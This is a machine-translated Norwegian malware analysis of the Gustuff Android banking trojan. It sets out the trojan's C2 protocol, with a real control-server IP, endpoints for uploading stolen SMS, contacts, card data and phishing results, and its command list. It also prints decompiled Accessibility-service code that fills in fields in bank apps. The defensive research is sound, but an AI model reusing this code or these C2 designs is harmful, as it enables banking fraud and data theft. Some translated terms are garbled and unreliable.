Hvordan Android Trojan Gustuff skummer kremen (fiat og krypto) fra kontoene dine

Hvordan Android Trojan Gustuff skummer kremen (fiat og krypto) fra kontoene dine

Bare forleden dag Group-IB informert om aktiviteten til den mobile Android Trojan Gustuff. Den fungerer utelukkende i internasjonale markeder, og angriper kunder til de 100 største utenlandske bankene, brukere av mobile 32 krypto-lommebøker, samt store e-handelsressurser. Men utvikleren av Gustuff er en russisktalende nettkriminell under kallenavnet Bestoffer. Inntil nylig berømmet han trojaneren sin som "et seriøst produkt for folk med kunnskap og erfaring."

Spesialist for analyse av skadelig kode i Group-IB Ivan Pisarev i sin forskning snakker han i detalj om hvordan Gustuff fungerer og hva dets farer er.

Hvem er Gustuff på jakt etter?

Gustuff tilhører en ny generasjon skadevare med helautomatiserte funksjoner. I følge utvikleren har trojaneren blitt en ny og forbedret versjon av AndyBot malware, som siden november 2017 har angrepet Android-telefoner og stjålet penger gjennom phishing-nettskjemaer som er maskert som mobilapplikasjoner til kjente internasjonale banker og betalingssystemer. Bestoffer rapporterte at leieprisen for Gustuff Bot var $800 per måned.

Analyse av Gustuff-prøven viste at trojaneren potensielt retter seg mot kunder som bruker mobilapplikasjoner fra de største bankene, som Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, samt kryptolommebøker. Bitcoin Wallet, BitPay, Cryptopay, Coinbase, etc.

Opprinnelig opprettet som en klassisk banktrojaner, i den nåværende versjonen har Gustuff utvidet listen over potensielle angrepsmål betydelig. I tillegg til Android-applikasjoner for banker, fintech-selskaper og kryptotjenester, er Gustuff rettet mot brukere av markedsplassapplikasjoner, nettbutikker, betalingssystemer og instant messengers. Spesielt PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut og andre.

Inngangspunkt: beregning for masseinfeksjon

Gustuff er preget av den "klassiske" vektoren for penetrering til Android-smarttelefoner gjennom SMS-utsendelser med lenker til APK-er. Når en Android-enhet er infisert med en trojaner på kommando av serveren, kan Gustuff spre seg videre gjennom kontaktdatabasen til den infiserte telefonen eller gjennom serverdatabasen. Gustuffs funksjonalitet er designet for masseinfeksjon og maksimal kapitalisering av virksomheten til operatørene - den har en unik "autofyll"-funksjon i legitime mobilbankapplikasjoner og kryptolommebøker, som lar deg øke hastigheten på og skalere tyveri av penger.

En studie av trojaneren viste at autofyll-funksjonen ble implementert i den ved hjelp av tilgjengelighetstjenesten, en tjeneste for funksjonshemmede. Gustuff er ikke den første trojaneren som lykkes med å omgå beskyttelse mot interaksjon med vinduselementer i andre applikasjoner som bruker denne Android-tjenesten. Imidlertid er bruk av Tilgjengelighetstjeneste i kombinasjon med en bilfyller fortsatt ganske sjelden.

Etter å ha lastet ned til offerets telefon, er Gustuff, ved hjelp av tilgjengelighetstjenesten, i stand til å samhandle med vinduselementer i andre applikasjoner (banktjenester, kryptovaluta, samt applikasjoner for netthandel, meldinger osv.), og utføre handlingene som er nødvendige for angriperne . For eksempel, på kommando av serveren, kan en trojaner trykke på knapper og endre verdiene til tekstfelt i bankapplikasjoner. Ved å bruke mekanismen for tilgjengelighetstjenesten kan trojaneren omgå sikkerhetsmekanismene som brukes av banker for å motvirke tidligere generasjons mobile trojanere, samt endringer i sikkerhetspolitikken implementert av Google i nye versjoner av Android OS. Dermed "vet Gustuff hvordan" å deaktivere Google Protect-beskyttelse: ifølge forfatteren fungerer denne funksjonen i 70 % av tilfellene.

Hvordan Android Trojan Gustuff skummer kremen (fiat og krypto) fra kontoene dine

Gustuff kan også vise falske PUSH-varsler med ikoner for legitime mobilapplikasjoner. Brukeren klikker på PUSH-varslingen og ser et phishing-vindu lastet ned fra serveren, hvor han legger inn de forespurte bankkort- eller kryptolommebokdataene. I et annet Gustuff-scenario åpnes applikasjonen som PUSH-varslingen ble vist på vegne av. I dette tilfellet kan skadelig programvare, etter kommando fra serveren via tilgjengelighetstjenesten, fylle ut skjemafeltene til en bankapplikasjon for en uredelig transaksjon.

Gustuffs funksjonalitet inkluderer også å sende informasjon om en infisert enhet til serveren, muligheten til å lese/sende SMS-meldinger, sende USSD-forespørsler, starte SOCKS5 Proxy, følge en lenke, sende filer (inkludert bildeskanning av dokumenter, skjermbilder, fotografier) ​​til server, tilbakestill enheten til fabrikkinnstillingene.

Analyse av skadelig programvare

Før du installerer en ondsinnet applikasjon, viser Android OS brukeren et vindu som inneholder en liste over rettigheter forespurt av Gustuff:

Hvordan Android Trojan Gustuff skummer kremen (fiat og krypto) fra kontoene dine
Applikasjonen vil kun installeres etter å ha mottatt brukerens samtykke. Etter å ha startet programmet, vil trojaneren vise brukeren et vindu:

Hvordan Android Trojan Gustuff skummer kremen (fiat og krypto) fra kontoene dine
Deretter vil den fjerne ikonet.

Gustuff pakkes, ifølge forfatteren, av en pakker fra FTT. Etter oppstart kontakter applikasjonen med jevne mellomrom CnC-serveren for å motta kommandoer. Flere filer vi undersøkte brukte en IP-adresse som kontrollserver 88.99.171[.]105 (heretter vil vi betegne det som <%CnC%>).

Etter oppstart begynner programmet å sende meldinger til serveren http://<%CnC%>/api/v1/get.php.

Svaret forventes å være JSON i følgende format:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

Hver gang applikasjonen åpnes, sender den informasjon om den infiserte enheten. Meldingsformatet vises nedenfor. Det er verdt å merke seg at feltene fullt, ekstra, apps и tillatelse – valgfritt og sendes kun i tilfelle en forespørselskommando fra CnC.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Lagre konfigurasjonsdata

Gustuff lagrer operativ viktig informasjon i en preferansefil. Filnavnet, så vel som navnene på parameterne i det, er resultatet av å beregne MD5-summen fra strengen 15413090667214.6.1<%navn%>Der <%name%> — innledende navn-verdi. Python-tolkning av navngenereringsfunksjonen:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

I det følgende vil vi betegne det som navnGenerator (inndata).
Så det første filnavnet er: nameGenerator("API_SERVER_LIST"), den inneholder verdier med følgende navn:

Variabelnavn Verdi
nameGenerator("API_SERVER_LIST") Inneholder en liste over CnC-adresser i form av en matrise.
nameGenerator("API_SERVER_URL") Inneholder CnC-adressen.
nameGenerator("SMS_UPLOAD") Flagget er satt som standard. Hvis flagget er satt, sender SMS-meldinger til CnC.
navnegenerator("SMS_ROOT_NUMBER") Telefonnummer som SMS-meldinger mottatt av den infiserte enheten vil bli sendt til. Standard er null.
navnegenerator("SMS_ROOT_NUMBER_RESEND") Flagget slettes som standard. Hvis installert, når en infisert enhet mottar en SMS, vil den bli sendt til rotnummeret.
nameGenerator("DEFAULT_APP_SMS") Flagget slettes som standard. Hvis dette flagget er satt, vil applikasjonen behandle innkommende SMS-meldinger.
nameGenerator("DEFAULT_ADMIN") Flagget slettes som standard. Hvis flagget er satt, har applikasjonen administratorrettigheter.
nameGenerator("DEFAULT_ACCESSIBILITY") Flagget slettes som standard. Hvis flagget er satt, kjører en tjeneste som bruker tilgjengelighetstjenesten.
nameGenerator("APPS_CONFIG") Et JSON-objekt som inneholder en liste over handlinger som må utføres når en tilgjengelighetshendelse knyttet til en bestemt applikasjon utløses.
nameGenerator("APPS_INSTALLED") Lagrer en liste over applikasjoner som er installert på enheten.
nameGenerator("IS_FIST_RUN") Flagget tilbakestilles ved første start.
nameGenerator("UNIQUE_ID") Inneholder en unik identifikator. Genereres når boten startes for første gang.

Modul for behandling av kommandoer fra serveren

Applikasjonen lagrer adressene til CnC-servere i form av en matrise kodet av Base 85 linjer. Listen over CnC-servere kan endres ved mottak av riktig kommando, i så fall vil adressene lagres i en preferansefil.

Som svar på forespørselen sender serveren en kommando til applikasjonen. Det er verdt å merke seg at kommandoer og parametere presenteres i JSON-format. Applikasjonen kan behandle følgende kommandoer:

Lag beskrivelse
fremoverStart Begynn å sende SMS-meldinger mottatt av den infiserte enheten til CnC-serveren.
foroverStopp Slutt å sende SMS-meldinger mottatt av den infiserte enheten til CnC-serveren.
ussdRun Utfør USSD-forespørsel. Nummeret du trenger for å sende en USSD-forespørsel er plassert i JSON-feltet "nummer".
Send tekstmelding Send én SMS-melding (om nødvendig blir meldingen "delt" i deler). Som en parameter tar kommandoen et JSON-objekt som inneholder feltene "to" - destinasjonsnummeret og "body" - brødteksten i meldingen.
sendSmsAb Send SMS-meldinger (om nødvendig er meldingen "delt" i deler) til alle i kontaktlisten til den infiserte enheten. Intervallet mellom sending av meldinger er 10 sekunder. Brødteksten i meldingen er i JSON-feltet "body"
sendSmsMass Send SMS-meldinger (om nødvendig er meldingen "delt" i deler) til kontaktene som er spesifisert i kommandoparameterne. Intervallet mellom sending av meldinger er 10 sekunder. Som en parameter tar kommandoen en JSON-matrise ("sms"-feltet), hvis elementer inneholder feltene "to" - destinasjonsnummeret og "body" - meldingens brødtekst.
changeServer Denne kommandoen kan ta en verdi med nøkkelen "url" som en parameter - så vil boten endre verdien til nameGenerator("SERVER_URL") eller "array" - så vil boten skrive matrisen til nameGenerator ("API_SERVER_LIST") Dermed endrer applikasjonen adressen til CnC-serverne.
adminnummer Kommandoen er laget for å fungere med et rotnummer. Kommandoen aksepterer et JSON-objekt med følgende parametere: «nummer» — endre navnGenerator(«ROOT_NUMBER») til den mottatte verdien, «send på nytt» — endre navnGenerator(«SMS_ROOT_NUMBER_RESEND»), «sendId» — send til navnGenerator(«ROOT_NUMBER» ) unik ID.
Oppdateringsinformasjon Send informasjon om den infiserte enheten til serveren.
slett data Kommandoen er ment å slette brukerdata. Avhengig av hvilket navn applikasjonen ble lansert, slettes enten dataene fullstendig med en omstart av enheten (primærbruker), eller bare brukerdata slettes (sekundærbruker).
sokker Start Start proxy-modulen. Driften av modulen er beskrevet i et eget avsnitt.
sokker Stopp Stopp proxy-modulen.
åpen lenke Følg linken. Koblingen er plassert i JSON-parameteren under "url"-tasten. "android.intent.action.VIEW" brukes til å åpne lenken.
last oppAllSms Send alle SMS-meldinger mottatt av enheten til serveren.
last opp alle bilder Send bilder fra en infisert enhet til en URL. URL-en kommer som en parameter.
Last opp fil Send en fil til en URL fra en infisert enhet. URL-en kommer som en parameter.
last opp Telefonnumre Send telefonnumre fra kontaktlisten din til serveren. Hvis en JSON-objektverdi med nøkkelen "ab" mottas som en parameter, mottar applikasjonen en liste over kontakter fra telefonboken. Hvis et JSON-objekt med nøkkelen "sms" mottas som en parameter, leser applikasjonen listen over kontakter fra avsendere av SMS-meldinger.
endre Arkiv Applikasjonen laster ned filen fra adressen som kommer som en parameter ved å bruke "url"-tasten. Den nedlastede filen lagres med navnet "archive.zip". Applikasjonen vil deretter pakke ut filen, eventuelt ved å bruke arkivpassordet "b5jXh37gxgHBrZhQ4j3D". De utpakkede filene lagres i katalogen [ekstern lagring]/hgps. I denne katalogen lagrer applikasjonen nettforfalskninger (beskrevet nedenfor).
handlinger Kommandoen er designet for å fungere med Action Service, som er beskrevet i et eget avsnitt.
test Gjør ingenting.
nedlasting Kommandoen er ment å laste ned en fil fra en ekstern server og lagre den i katalogen "Nedlastinger". URL-en og filnavnet kommer som en parameter, felt i JSON-parameterobjektet, henholdsvis: "url" og "fileName".
fjerne Fjerner en fil fra katalogen "Nedlastinger". Filnavnet kommer i en JSON-parameter med "filnavn"-nøkkelen. Standard filnavn er "tmp.apk".
varsling Vis et varsel med beskrivelse og titteltekster definert av administrasjonsserveren.

Kommandoformat varsling:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

Varslingen som genereres av filen som undersøkes, ser identisk ut med varslene generert av applikasjonen som er spesifisert i feltet app. Hvis feltverdien åpne appen — Riktignok, når et varsel åpnes, startes applikasjonen som er spesifisert i feltet app. Hvis feltverdien åpne appen – Falsk, da:

  • Et phishing-vindu åpnes, hvis innhold lastes ned fra katalogen <%ekstern lagring%>/hgps/<%filnavn%>
  • Et phishing-vindu åpnes, hvis innhold lastes ned fra serveren <%url%>?id=<%Bot id%>&app=<%Application name%>
  • Et phishing-vindu åpnes, forkledd som et Google Play-kort, med mulighet til å legge inn kortdetaljer.

Applikasjonen sender resultatet av en kommando til <%CnC%>sett_tilstand.php som et JSON-objekt i følgende format:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

ActionsService
Listen over kommandoer som applikasjonen behandler inkluderer handling. Når en kommando mottas, får kommandobehandlingsmodulen tilgang til denne tjenesten for å utføre den utvidede kommandoen. Tjenesten godtar et JSON-objekt som en parameter. Tjenesten kan utføre følgende kommandoer:

1. PARAMS_ACTION - når den mottar en slik kommando, mottar tjenesten først fra JSON-parameteren verdien til Type-nøkkelen, som kan være som følger:

  • serviceInfo – underkommandoen henter verdien etter nøkkel fra JSON-parameteren includeNotImportant. Hvis flagget er True, setter applikasjonen flagget FLAG_ISOLATED_PROCESS til en tjeneste som bruker tilgjengelighetstjenesten. På denne måten vil tjenesten bli lansert i en egen prosess.
  • root — motta og sende til serveren informasjon om vinduet som er i fokus. Applikasjonen henter informasjon ved hjelp av AccessibilityNodeInfo-klassen.
  • admin — be om administratorrettigheter.
  • forsinkelse — suspendere ActionsService i antall millisekunder spesifisert i parameteren for "data"-nøkkelen.
  • vinduer — send en liste over vinduer som er synlige for brukeren.
  • installere – installer applikasjonen på den infiserte enheten. Navnet på arkivpakken er i "filnavn"-tasten. Selve arkivet ligger i nedlastingskatalogen.
  • global – underkommandoen er ment å navigere fra det gjeldende vinduet:
    • på Hurtiginnstillinger-menyen
    • siden
    • hjem
    • til varsler
    • til det nylig åpnede programvinduet

  • lansere - start applikasjonen. Applikasjonsnavnet kommer som en parameter etter nøkkel dato.
  • lyder — endre lydmodus til stille.
  • låse opp — slår på bakgrunnsbelysningen på skjermen og tastaturet til full lysstyrke. Applikasjonen utfører denne handlingen ved å bruke WakeLock, og spesifiserer strengen [Application Lable]:INFO som en tag
  • permissionOverlay — funksjonen er ikke implementert (svaret på kommandoutførelse er {"message":"Not support"} eller {"message":"low sdk"})
  • gest — funksjonen er ikke implementert (svaret på kommandoutførelse er {"message":"Not support"}eller {"message":"Low API"})
  • tillatelser — denne kommandoen er nødvendig for å be om tillatelser for applikasjonen. Spørringsfunksjonen er imidlertid ikke implementert, så kommandoen er meningsløs. Listen over forespurte rettigheter kommer som en JSON-matrise med "tillatelser"-nøkkelen. Standard liste:
    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • åpen — vis et phishing-vindu. Avhengig av parameteren som kommer fra serveren, kan applikasjonen vise følgende phishing-vinduer:
    • Vis et phishing-vindu hvis innhold er skrevet i en fil i en katalog <%ekstern katalog%>/hgps/<%param_filnavn%>. Resultatet av brukerinteraksjon med vinduet vil bli sendt til <%CnC%>/records.php
    • Vis et phishing-vindu hvis innhold er forhåndslastet fra adressen <%url_param%>?id=<%bot_id%>&app=<%pakkenavn%>. Resultatet av brukerinteraksjon med vinduet vil bli sendt til <%CnC%>/records.php
    • Vis et phishing-vindu forkledd som et Google Play-kort.

  • interaktiv — kommandoen er utformet for å samhandle med vinduselementer i andre applikasjoner som bruker AcessibilityService. Det er implementert en spesiell tjeneste i programmet for samhandling. Applikasjonen som undersøkes kan samhandle med Windows:
    • Aktiv for øyeblikket. I dette tilfellet inneholder parameteren id eller tekst (navn) til objektet du må samhandle med.
    • Synlig for brukeren på det tidspunktet kommandoen utføres. Applikasjonen velger vinduer etter id.

    Etter å ha mottatt gjenstander AccessibilityNodeInfo For vinduselementer av interesse kan applikasjonen, avhengig av parameterne, utføre følgende handlinger:

    • fokus — sett fokus på objektet.
    • klikk — klikk på et objekt.
    • actionId — utfør en handling etter ID.
    • setText — endre teksten til et objekt. Det er mulig å endre teksten på to måter: utfør en handling ACTION_SET_TEXT (hvis Android-versjonen av den infiserte enheten er yngre enn eller lik KJÆRLIGHET PÅ PINNE), eller ved å plassere en streng på utklippstavlen og lime den inn i et objekt (for eldre versjoner). Denne kommandoen kan brukes til å endre data i en bankapplikasjon.

2. PARAMS_ACTIONS - samme som PARAMS_ACTION, kommer bare en rekke JSON-kommandoer.

Det ser ut til at mange mennesker vil være interessert i hvordan funksjonen til å samhandle med vinduselementer i en annen applikasjon ser ut. Slik er denne funksjonaliteten implementert i Gustuff:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Teksterstatningsfunksjon:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Dermed, med riktig konfigurasjon av kontrollserveren, kan Gustuff fylle ut tekstfelt i bankapplikasjonen og klikke på knappene som er nødvendige for å fullføre transaksjonen. Trojaneren trenger ikke engang å logge på programmet – det er nok å sende en kommando for å vise et PUSH-varsel og deretter åpne det tidligere installerte bankprogrammet. Brukeren vil autentisere seg, hvoretter Gustuff vil kunne fylle bilen.

SMS-meldingsbehandlingsmodul

Applikasjonen installerer en hendelsesbehandler for den infiserte enheten for å godta SMS-meldinger. Søknaden under utredning kan motta kommandoer fra operatøren, som kommer i teksten til SMS-meldingen. Kommandoer kommer i formatet:

7!5=<%Base64-kodet kommando%>

Applikasjonen søker etter strengen i alle innkommende SMS-meldinger 7!5=, når en streng oppdages, dekoder den strengen fra Base64 ved offset 4 og utfører kommandoen. Kommandoene ligner de med CnC. Utførelsesresultatet sendes til samme nummer som kommandoen kom fra. Svarformat:

7*5=<%Base64-koding av “result_code-kommando”%>

Eventuelt kan applikasjonen sende alle mottatte meldinger til rotnummeret. For å gjøre dette må rotnummeret spesifiseres i preferansefilen og meldingsomdirigeringsflagget må settes. En SMS-melding sendes til angriperens nummer i formatet:

<%Fra nummer%> - <%Tid, format: dd/MM/åååå TT:mm:ss%> <%SMS body%>

Eventuelt kan applikasjonen også sende meldinger til CnC. SMS-meldingen sendes til serveren i JSON-format:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

Hvis flagget er satt nameGenerator("DEFAULT_APP_SMS") – applikasjonen slutter å behandle SMS-meldingen og sletter listen over innkommende meldinger.

Proxy-modul

Applikasjonen som studeres inneholder en Backconnect Proxy-modul (heretter referert til som Proxy-modulen), som har en egen klasse som inkluderer statiske felt med konfigurasjon. Konfigurasjonsdata lagres i prøven i klar form:

Hvordan Android Trojan Gustuff skummer kremen (fiat og krypto) fra kontoene dine

Alle handlinger utført av proxy-modulen logges inn i filer. For å gjøre dette oppretter applikasjonen i External Storage en katalog kalt "logs" (ProxyConfigClass.logsDir-feltet i konfigurasjonsklassen), der loggfiler lagres. Logging skjer i filer med navn:

  1. main.txt – arbeidet til klassen kalt CommandServer er logget inn i denne filen. I det følgende vil logging av strengen str i denne filen bli betegnet som mainLog(str).
  2. økt-<%id%>.txt — denne filen lagrer loggdata knyttet til en spesifikk proxy-sesjon. I det følgende vil logging av strengen str til denne filen bli betegnet som sessionLog (str).
  3. server.txt – denne filen brukes til å logge alle data som er skrevet til de ovenfor beskrevne filene.

Loggdataformat:

<%Date%> [Thread[<%thread id%>], id[]]: loggstreng

Unntak som oppstår under driften av Proxy-modulen blir også logget til en fil. For å gjøre dette genererer applikasjonen et JSON-objekt i følgende format:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Deretter konverterer den den til en strengrepresentasjon og logger den.

Proxy-modulen startes etter å ha mottatt den tilsvarende kommandoen. Når en kommando for å starte Proxy-modulen mottas, starter applikasjonen en tjeneste kalt MainService, som er ansvarlig for å administrere driften av Proxy-modulen - starte og stoppe den.

Stadier for å starte tjenesten:

1. Starter en timer som går en gang i minuttet og sjekker aktiviteten til proxy-modulen. Hvis modulen ikke er aktiv, starter den.
Også når hendelsen utløses android.net.conn.CONNECTIVITY_CHANGE Proxy-modulen startes.

2. Applikasjonen lager en wake-lock med parameteren PARTIAL_WAKE_LOCK og fanger ham. Dette forhindrer enhetens CPU fra å gå i hvilemodus.

3. Starter kommandobehandlingsklassen til Proxy-modulen, først logger linjen mainLog("start server") и

Server::start() vert[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

der proxy_cnc, command_port og proxy_port – parametere hentet fra proxy-serverkonfigurasjonen.

Kommandobehandlingsklassen kalles CommandConnection. Umiddelbart etter oppstart, utfører følgende handlinger:

4. Kobler til ProxyConfigClass.host: ProxyConfigClass.commandPort og sender data om den infiserte enheten dit i JSON-format:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

Hvor:

  • id - identifier, prøver å få en verdi med "id"-feltet fra Shared Preference-filen kalt "x". Hvis denne verdien ikke kunne oppnås, genererer den en ny. Dermed har Proxy-modulen sin egen identifikator, som genereres på samme måte som Bot ID.
  • imei — IMEI for enheten. Hvis det oppstod en feil under prosessen med å hente verdien, vil en feilmelding bli skrevet i stedet for dette feltet.
  • imsi — Internasjonal mobilabonnentidentitet for enheten. Hvis det oppstod en feil under prosessen med å hente verdien, vil en feilmelding bli skrevet i stedet for dette feltet.
  • modell – Det sluttbrukersynlige navnet på sluttproduktet.
  • produsent — Produsenten av produktet/maskinvaren (Build.MANUFACTURER).
  • androidVersion - en streng i formatet "<%release_version%> (<%os_version%>),<%sdk_version%>"
  • land — gjeldende plassering av enheten.
  • partnerId er en tom streng.
  • pakkenavn – pakkenavn.
  • networkType — type gjeldende nettverkstilkobling (eksempel: "WIFI", "MOBILE"). Ved feil returneres null.
  • hasGsmSupport – sant – hvis telefonen støtter GSM, ellers usann.
  • simReady – SIM-kortstatus.
  • simCountry - ISO-landskode (basert på SIM-kortleverandør).
  • nettverkOperator — operatørnavn. Hvis det oppstod en feil under prosessen med å hente verdien, vil en feilmelding bli skrevet i stedet for dette feltet.
  • simOperator — Tjenesteleverandørens navn (SPN). Hvis det oppstod en feil under prosessen med å hente verdien, vil en feilmelding bli skrevet i stedet for dette feltet.
  • versjon - dette feltet er lagret i konfigurasjonsklassen; for de testede versjonene av boten var det lik "1.6".

5. Bytter til modusen for å vente på kommandoer fra serveren. Kommandoer fra serveren kommer i formatet:

  • 0 offset – kommando
  • 1 offset – sessionId
  • 2 offset – lengde
  • 4 offset - data

Når en kommando kommer, logger applikasjonen:
mainLog("Header { sessionId<%id%>], type[<%command%>], lengde[<%length%>] }")

Følgende kommandoer fra serveren er mulige:

Navn Kommando Data Beskrivelse
forbindelses-ID 0 Tilkoblings-ID Opprett en ny tilkobling
SØVN 3 Tid Sett proxy-modulen på pause
BORDTENNIS 4 - Send PONG-melding

En PONG-melding består av 4 byte og ser slik ut: 0x04000000.

Når connectionId-kommandoen er mottatt (for å opprette en ny tilkobling) CommandConnection oppretter en forekomst av en klasse ProxyConnection.

  • To klasser deltar i fullmakt: ProxyConnection и slutt. Når du oppretter en klasse ProxyConnection kobler til adressen ProxyConfigClass.host: ProxyConfigClass.proxyPort og sender JSON-objektet:

 {
    "id":<%connectionId%>
}

Som svar sender serveren en SOCKS5-melding som inneholder adressen til den eksterne serveren som forbindelsen må opprettes med. Interaksjon med denne serveren skjer gjennom klassen slutt. Tilkoblingsoppsettet kan skjematisk representeres som følger:

Hvordan Android Trojan Gustuff skummer kremen (fiat og krypto) fra kontoene dine

Nettverksinteraksjoner

For å forhindre trafikkanalyse av nettverkssniffere, kan interaksjonen mellom CnC-serveren og applikasjonen beskyttes ved hjelp av SSL-protokollen. Alle overførte data både fra og til serveren presenteres i JSON-format. Applikasjonen utfører følgende forespørsler under drift:

  • http://<%CnC%>/api/v1/set_state.php — resultatet av kommandoutførelsen.
  • http://<%CnC%>/api/v1/get.php - motta en kommando.
  • http://<%CnC%>/api/v1/load_sms.php — nedlasting av SMS-meldinger fra en infisert enhet.
  • http://<%CnC%>/api/v1/load_ab.php — laster opp en liste over kontakter fra en infisert enhet.
  • http://<%CnC%>/api/v1/aevents.php – forespørselen gjøres ved oppdatering av parametere i preferansefilen.
  • http://<%CnC%>/api/v1/set_card.php – opplasting av data innhentet ved hjelp av et phishing-vindu som er maskert som Google Play Market.
  • http://<%CnC%>/api/v1/logs.php – opplasting av loggdata.
  • http://<%CnC%>/api/v1/records.php – opplasting av data hentet gjennom phishing-vinduer.
  • http://<%CnC%>/api/v1/set_error.php – melding om en feil som har oppstått.

anbefalinger

For å beskytte kundene sine mot trusselen fra mobile trojanere, må bedrifter bruke omfattende løsninger som lar dem overvåke og forhindre ondsinnet aktivitet uten å installere ekstra programvare på brukerenheter.

For å gjøre dette, må signaturmetoder for å oppdage mobile trojanere styrkes med teknologier for å analysere atferden til både klienten og selve applikasjonen. Beskyttelsen bør også inkludere en enhetsidentifikasjonsfunksjon ved bruk av digital fingeravtrykksteknologi, som vil gjøre det mulig å forstå når en konto blir brukt fra en atypisk enhet og allerede har falt i hendene på en bedrager.

Et grunnleggende viktig poeng er tilgjengeligheten av analyse på tvers av kanaler, som lar selskaper kontrollere risikoer som oppstår ikke bare på Internett, men også på mobilkanalen, for eksempel i applikasjoner for mobilbank, for transaksjoner med kryptovalutaer og andre steder der transaksjoner kan gjennomføres finansiell transaksjon.

Sikkerhetsregler for brukere:

